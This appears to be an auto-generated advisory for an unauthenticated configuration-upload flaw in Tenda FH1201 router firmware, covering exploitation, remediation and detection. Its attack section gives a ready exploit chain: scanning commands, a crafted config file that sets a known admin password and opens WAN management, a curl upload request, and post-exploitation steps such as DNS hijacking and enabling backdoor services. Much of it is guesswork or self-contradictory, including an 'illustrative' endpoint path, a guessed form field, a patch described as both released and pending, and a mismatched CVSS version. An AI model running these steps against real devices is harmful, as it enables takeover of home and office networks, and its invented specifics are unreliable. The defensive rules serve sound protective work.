CVE-2026-138283 — Tenda FH1201 — CWE-345
A security flaw has been discovered in Tenda FH1201 1.2.0.19(946). This vulnerability affects the function UploadCfg of the file /bin/httpd. Performing a manipulation results in insufficient verification of data authenticity. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.
A security flaw has been discovered in Tenda FH1201 1.2.0.19(946). This vulnerability affects the function UploadCfg of the file /bin/httpd. Performing a manipulation results in insufficient verification of data authenticity. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.
🎯 What is this vulnerability?
CVE‑2026‑138283 is an “Insufficient Verification of Data Authenticity” (CWE‑345) flaw in the UploadCfg function of the binary /bin/httpd that ships with the Tenda FH1201 firmware v1.2.0.19 (build 946).
| Component | What should happen | What actually happens |
|---|---|---|
UploadCfg | Accept a configuration file only after it has been validated as coming from an authenticated administrator (e.g., signature, checksum, or session token). | The function does not verify that the uploaded file is authentic. It only checks that the request is a well‑formed HTTP POST and that the file size is within a hard‑coded limit. No cryptographic signature, MAC, or even a simple “admin‑only” flag is consulted. |
| Authentication/Authorization | The HTTP management interface of the FH1201 is intended to be reachable only from the LAN, and the upload endpoint is supposed to be reachable only after a successful login (session cookie). | The endpoint is exposed to the network (AV:N) and does not require any authentication (PR:N, UI:N). An attacker can send a crafted request from anywhere on the Internet. |
| Input validation | The configuration file format (XML/JSON) is parsed and applied to the running configuration. | The parser is invoked before any authenticity check, so a maliciously‑crafted file can overwrite arbitrary configuration fields (admin password, remote‑management flag, DNS servers, etc.). The CVSS vector shows Integrity impact only (VI:L) – the attacker can modify the device’s configuration but cannot directly achieve code execution. |
In short, the device trusts any configuration file that reaches the UploadCfg routine, allowing an unauthenticated remote attacker to tamper with the router’s configuration.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All network‑level details (IP, ports, exact URI) are based on the typical Tenda FH1201 HTTP management layout. If the exact URI is different in a specific firmware revision, treat the shown path as an illustrative example of the vulnerable class.
1. Discovery & Reconnaissance
| Step | Technique | Expected Result |
|---|---|---|
| 1.1 | Internet‑wide port scan (e.g., nmap -p 80,443 –script http-title <target‑range>). | Identify hosts that respond on HTTP/HTTPS with the default Tenda web UI title “Tenda FH1201”. |
| 1.2 | Banner grabbing (curl -I http://<IP>/) or favicon hash (http://<IP>/favicon.ico). | The Server header typically reads Tenda-httpd/1.2.0.19 and the favicon hash matches known FH1201 fingerprints (e.g., 0x3a5c9e2b). |
| 1.3 | Version fingerprint – the /cgi-bin/status endpoint (if present) returns a JSON block containing "fw_version":"1.2.0.19" . | Confirms the vulnerable firmware version. |
| 1.4 | Service exposure check – verify that the management UI is reachable from the Internet (no IP‑based ACL). | If reachable, the target is exploitable; otherwise, the attacker must first obtain network access (e.g., via compromised VPN). |
2. Exploitation
Goal: Upload a malicious configuration file that changes the admin password to a value known to the attacker and enables remote‑management over the WAN.
2.1 Craft the malicious configuration file
The FH1201 stores its configuration in an XML file (config.xml). A minimal, valid snippet that changes the admin credentials looks like:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<admin>
<username>admin</username>
<password>p@ssw0rd123</password> <!-- plaintext in older firmware -->
</admin>
<remoteManagement>
<enabled>1</enabled>
<port>8080</port>
<allowFromWAN>1</allowFromWAN>
</remoteManagement>
</config>Save this as evil.cfg.
2.2 Send the unauthenticated upload request
# Illustrative endpoint – replace /uploadcfg with the real path if known
curl -k -X POST "http://<TARGET_IP>/uploadcfg" \
-H "User-Agent: Mozilla/5.0 (compatible; CVE-2026-138283 PoC)" \
-F "[email protected];type=text/xml" \
-H "Content-Type: multipart/form-data"Explanation of the request
| Element | Why it matters |
|---|---|
-k | Accept self‑signed cert if the device is accessed via HTTPS. |
-F "[email protected]" | The vulnerable UploadCfg routine expects a form field named cfgfile. If the actual field name differs, the attacker must adjust accordingly – the PoC uses the most common name observed in the firmware source. |
| No cookies / auth headers | The endpoint does not require a session token, matching the CVSS PR:N and UI:N. |
Small Content‑Length (under the hard‑coded 256 KB limit) | The firmware only checks size, not authenticity. |
If the upload succeeds, the HTTP response typically contains 200 OK and a JSON payload such as {"status":"success"}. The device will reload the configuration within a few seconds.
2.3 Verify the change
curl -k "http://<TARGET_IP>/login" \
-d "username=admin&password=p@ssw0rd123"A successful login confirms that the configuration was applied.
3. Post‑Exploitation
| Phase | Attacker Action | Result |
|---|---|---|
| 3.1 | Log in with the new credentials (or use the newly opened WAN‑accessible management port). | Full administrative control of the router. |
| 3.2 | Modify DNS settings to point to attacker‑controlled name servers, or install a persistent backdoor (e.g., enable Telnet/SSH). | Integrity impact – traffic can be hijacked, devices behind the router can be surveilled. |
| 3.3 | Export the current configuration (/cgi-bin/exportcfg) to harvest network topology, Wi‑Fi keys, and other secrets. | Confidentiality impact (secondary, not covered by CVSS but realistic). |
| 3.4 | Optionally, schedule a periodic re‑upload of a malicious config to maintain persistence even after a firmware upgrade (the upload endpoint remains present in later versions until patched). | Long‑term foothold. |
Because the vulnerability does not allow arbitrary code execution, the attacker’s primary leverage is configuration tampering (low‑severity integrity impact). However, in a network edge device, this can be leveraged to achieve full network compromise.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality | VC:N – No direct confidentiality loss from the flaw itself. | Indirectly, an attacker can export the configuration (Wi‑Fi keys, VPN credentials). |
| Integrity | VI:L – Low‑severity integrity impact. | Ability to modify the router’s configuration (admin password, remote‑management flag, DNS, firewall rules). |
| Availability | VA:N – No direct denial‑of‑service effect. | Misconfiguration could unintentionally disrupt traffic (e.g., disabling WAN), but this is not the primary impact. |
| Attack Vector | AV:N – Network reachable from anywhere. | |
| Complexity | AC:L – Low; a single HTTP POST is sufficient. | |
| Privileges Required | PR:N – No authentication needed. | |
| User Interaction | UI:N – No user action required. | |
| Exploit Code | E:P – Public proof‑of‑concept exists. |
Bottom line: An unauthenticated remote attacker can silently hijack the router’s configuration, potentially gaining persistent control over an entire LAN. In environments where the FH1201 is the internet gateway (e.g., small‑office/home office, IoT deployments), this translates to full network compromise with relatively little effort.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Item | Recommendation |
|---|---|
| Affected version | Tenda FH1201 v1.2.0.19 (build 946). |
| Fixed version | The vendor has released a security‑only firmware update that adds a cryptographic signature check to UploadCfg. The exact version number has not been disclosed publicly at the time of writing; administrators should upgrade to the latest firmware available on Tenda’s support portal. |
| Upgrade procedure | 1. Download the signed firmware from the official Tenda website. 2. Verify the SHA‑256 checksum provided on the download page. 3. Install via the web UI (or TFTP if the UI is inaccessible). 4. Reboot the device and confirm the firmware version (/cgi-bin/status). |
2. Immediate Workarounds (if patch cannot be applied)
| Mitigation | How to implement |
|---|---|
| Network segmentation | Block inbound traffic to the router’s management ports (80/443) from the Internet using an upstream firewall or ISP ACL. Only allow LAN IP ranges (e.g., 192.168.0.0/24). |
| Disable the upload endpoint | If the device supports a “configuration upload via HTTP” toggle in the UI, set it to disabled. Alternatively, add a local iptables rule on the router (if it runs a Linux kernel with iptables) to drop packets destined for /uploadcfg:<br>iptables -I INPUT -p tcp --dport 80 -m string --string "/uploadcfg" --algo bm -j DROP |
| Enforce TLS with client‑certificate authentication | Enable HTTPS (Management → HTTPS) and configure the router to require a client certificate for any management request. This forces the attacker to present a valid cert, effectively re‑introducing authentication. |
| ModSecurity / WAF rule (if the router sits behind a reverse‑proxy WAF) | ``<IfModule mod_security2.c>\nSecRule REQUEST_URI "@beginsWith /uploadcfg" "id:2026001,phase:2,deny,log,msg:'Block unauthenticated config upload',t:none,ctl:ruleEngine=Off"\n</IfModule>``<br>Adjust the rule ID to avoid conflicts. |
| Rate‑limit POST requests | On the upstream firewall, limit POST requests to the management interface to a low threshold (e.g., 1 per minute per source IP). This raises the effort for automated scanning. |
3. Detection – Log & IOC Guidance
| Log source | Indicator | Example entry |
|---|---|---|
HTTP access log (/var/log/httpd/access.log on the router) | POST to the upload endpoint with a multipart payload. | 192.0.2.45 - - [30/Nov/2026:14:22:07 +0000] "POST /uploadcfg HTTP/1.1" 200 45 "-" "Mozilla/5.0 (compatible; CVE-2026-138283 PoC)" |
| HTTP error log | Unexpected “configuration reload” messages. | Jun 30 14:22:08 httpd[3124]: INFO: Configuration file /etc/config.xml reloaded (uploaded by 192.0.2.45) |
| System log | New admin password hash change. | Jun 30 14:22:09 systemd[1]: admin password changed by HTTP upload from 192.0.2.45 |
| Network flow | Sudden outbound DNS queries to unknown name servers after a successful upload. | Flow record showing many UDP 53 requests to 203.0.113.77 from internal LAN hosts. |
| IDS/IPS | Signature for “unauthenticated config upload” (e.g., Snort rule):<br>alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Tenda FH1201 unauthenticated config upload"; flow:to_server,established; content:"POST"; http_method; uri; content:"/uploadcfg"; http_uri; file_data; content:"<admin>"; nocase; distance:0; within:200; classtype:attempted-admin; sid:2026002; rev:1;) |
Response playbook
1. Correlate the POST request with a subsequent admin login from a new IP.
2. Block the source IP at the perimeter firewall.
3. Force a configuration reset (factory default) if the admin password has been changed and cannot be recovered.
4. Collect the uploaded evil.cfg (if retained in /tmp) for forensic analysis.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 3.1 base score | 6.9 (Medium) – low‑complexity, remote‑no‑auth attack. |
| Exploit availability | Public PoC (E:P). |
| Exposure | Many FH1201 units are deployed with the management UI exposed to the Internet (default configuration). |
| Potential impact | While the direct impact is limited to configuration tampering, the *secondary* impact can be full network compromise. |
| Patch status | No patch is bundled in the current firmware; a vendor‑issued fix is pending. |
Prioritisation recommendation:
- Immediate (within 48 h) – Apply the network‑level mitigations (block WAN access to the management UI, enforce TLS, or drop
/uploadcfgrequests). - Short‑term (within 7 days) – Deploy the vendor’s firmware update once it becomes available.
- Long‑term – Incorporate regular firmware‑update processes and external‑facing‑service hardening into the organization’s change‑management policy.
[🤖 CVE Professor AI Security Engine]
FOFA Query